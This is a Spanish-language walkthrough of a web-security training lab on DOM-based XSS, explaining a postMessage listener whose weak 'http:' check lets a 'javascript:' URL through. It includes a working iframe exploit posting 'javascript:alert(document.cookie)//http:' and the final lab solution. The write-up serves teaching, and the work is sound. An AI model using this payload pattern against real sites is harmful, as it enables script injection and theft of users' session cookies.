Skip to content

DOM XSS using web messages and a JavaScript URL

[20251007024921.png]

En este laboratorio tenemos este sitio web.

[20251007025641.png]

En el código fuente encontraremos un script de js:

c
                    <script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                            }
                        }, false);
                    </script>

Explicación

Escuchar mensajes

c
window.addEventListener('message', function(e) {
  • Agrega un event listener que escucha el evento 'message'
  • Este evento se dispara cuando la ventana recibe un mensaje de otra ventana o iframe

Procesar el mensaje recibido

c
var url = e.data;
  • e.data contiene los datos del mensaje recibido
  • Se asume que estos datos son una URL

Validar que sea una URL válida

c
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
  • Verifica que la cadena contenga 'http:' o 'https:'
  • Esto es una validación básica para asegurar que sea una URL web

Redirigir la página

c
location.href = url;
  • Si la validación pasa, redirige la página actual a la URL recibida

Explotación

c
<iframe src="http://sitio-vulnerable.com"
        onload="this.contentWindow.postMessage('javascript:alert(document.cookie)//http:','*')">
</iframe>

El mensaje enviado es: 'javascript:alert(document.cookie)//http:'

Desglose:

  • javascript:alert(document.cookie) - El payload malicioso
  • // - Comentario en JavaScript (ignora todo lo que sigue)
  • http: - ¡Aquí está el truco! Esto pasa la validación

Proceso de validación vulnerable:

c
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;  // Se ejecuta: location.href = 'javascript:alert(document.cookie)//http:'
}

La validación solo verifica si existe 'http:' en cualquier parte de la cadena, no si la URL comienza con http/https.

¿Por qué funciona?

  • location.href = 'javascript:alert(document.cookie)' ejecuta código JavaScript
  • El //http:' se ignora porque es un comentario
c
<style>
  iframe {
    position: fixed;
    top: 0;
    left: 0;
    width: 100vw;
    height: 100vh;
    border: none;
    margin: 0;
    padding: 0;
    z-index: 9999;
    background: white;
  }
</style>

<iframe 
  src="https://0a85009703dd148c818e26ee0091001f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
</iframe>

[20251007031127.png]